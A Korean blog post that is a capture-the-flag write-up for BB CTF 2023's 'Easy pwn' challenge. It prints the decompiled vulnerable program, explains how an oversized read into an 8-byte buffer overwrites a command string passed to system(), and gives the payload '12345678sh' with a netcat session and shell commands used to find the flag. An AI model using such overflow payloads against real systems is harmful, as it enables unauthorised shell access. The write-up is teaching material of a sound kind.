BB CTF 2023 - Easy pwn

2023. 2. 6. 21:47·CTF/Solved
728x90
반응형

1. intro

초보를 위한 낮은 난이도의 CTF.

DICE CTF에서 내상을 입고 BB CTF에서 약간 회복했다.

 

2. code 및 분석

2.1.  code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+8h] [rbp-28h] BYREF
  char command[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  strcpy(command, "ls");
  puts("Hi! would you like me to ls the current directory?");
  read(0, buf, 0x18uLL);
  if ( !strcmp(buf, "no\n") )
  {
    puts("Oh, ok :(");
    exit(0);
  }
  puts("Ok, here ya go!\n");
  system(command);
  return 0;
}

2.2. 분석

command 변수에 "ls" 문자열을 넣고,

buf에 입력을 받은 다음,

입력 받은 문자열이 no 면 종료,

아니면 command를 system 함수를 통해 실행시켜 준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

stack overflow로 인한 변수 값 침범.

 

3.2. 공격 준비

딱 보면 답이 보인다.

이 정도 수준의 문제는... 사실... 입문용인 것 같다.

 

입력 받는 문자열은 총 0x18 bytes이나 변수 buf의 크기가 8 bytes 이다.

그리고 buf 변수의 위치가 rbp+ 0x8이고

command 변수의 위치가 rbp + 0x10이니

8 bytes의 더미를 넣고 이후에 원하는 명령어를 삽입하면 이를 실행시켜줄 것이다.

 

4. exploit

별거 없이

12345678sh

만으로 셀을 딸 수 있다.

 

근데 셀을 따서 보니 flag 파일이 없다.

┌[wyv3rn🐲]-(/mnt/c/hacking/bop)
└> nc pwn.bbctf.fluxus.co.in 4001
Hi! would you like me to ls the current directory?
12345678sh
Ok, here ya go!

ls
ez-pwn-1

그래서 숨겨져있나 봤더니 숨겨진 파일이 있었다.

ls -al
total 40
drwxr-x--- 1 root pwnable_user  4096 Feb  4 05:23 .
drwxr-xr-x 1 root root          4096 Feb  4 05:23 ..
-rw-r--r-- 1 root pwnable_user   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root pwnable_user  3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 root pwnable_user   807 Jan  6  2022 .profile
drwxr-xr-x 1 root pwnable_user  4096 Feb  4 05:23 .the_flag_is_in_here
-r-xr-x--- 1 root pwnable_user 16184 Feb  3 17:43 ez-pwn-1

cat .the_flag_is_in_here 라고 해봤다.

근데 안 읽어진다.

flag가 여기 안에 있다고 그래서 그냥 이 시스템 안 어딘가에 있다고 생각했다.

 

혹시 다른데 숨겨져있나 해서 find 명령어로 권한이 있는 파일을 죄다 찾아봤더니...

find / -gid 1000 | grep flag
/home/pwnable_user/.the_flag_is_in_here
/home/pwnable_user/.the_flag_is_in_here/flag.txt

 

숨겨진 파일이 아니라 디렉토리였고 그 안에 플래그가 있었다 -_-

파일인지 디렉토리인지 확인하자 ㅋㅋㅋ

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

LA CTF 2023 - pwn/gatekeep  (0) 2023.02.13
BB CTF 2023 - Medium pwn  (0) 2023.02.06
DiceCTF 2023 - pwn/bop  (0) 2023.02.06
KnightCTF 2023 - KrackMe 1.0  (0) 2023.01.23
idekCTK 2022 - Typop  (0) 2023.01.16
'CTF/Solved' 카테고리의 다른 글
  • LA CTF 2023 - pwn/gatekeep
  • BB CTF 2023 - Medium pwn
  • DiceCTF 2023 - pwn/bop
  • KnightCTF 2023 - KrackMe 1.0
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    heap
    32bit
    root-me
    Format String Bug
    dreamhack
    ROOT ME
    exploit education
    BOF
    Me
    cryptohack
    CANARY
    hackerschool
    libc
    RTL
    root
    la ctf
    Buffer Overflow
    vtable
    pwnable.kr
    FSB
    _IO_FILE
    docker
    tcache
    lob
    phoenix
    rop
    x64
    x86
    pwntools
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
BB CTF 2023 - Easy pwn
상단으로

티스토리툴바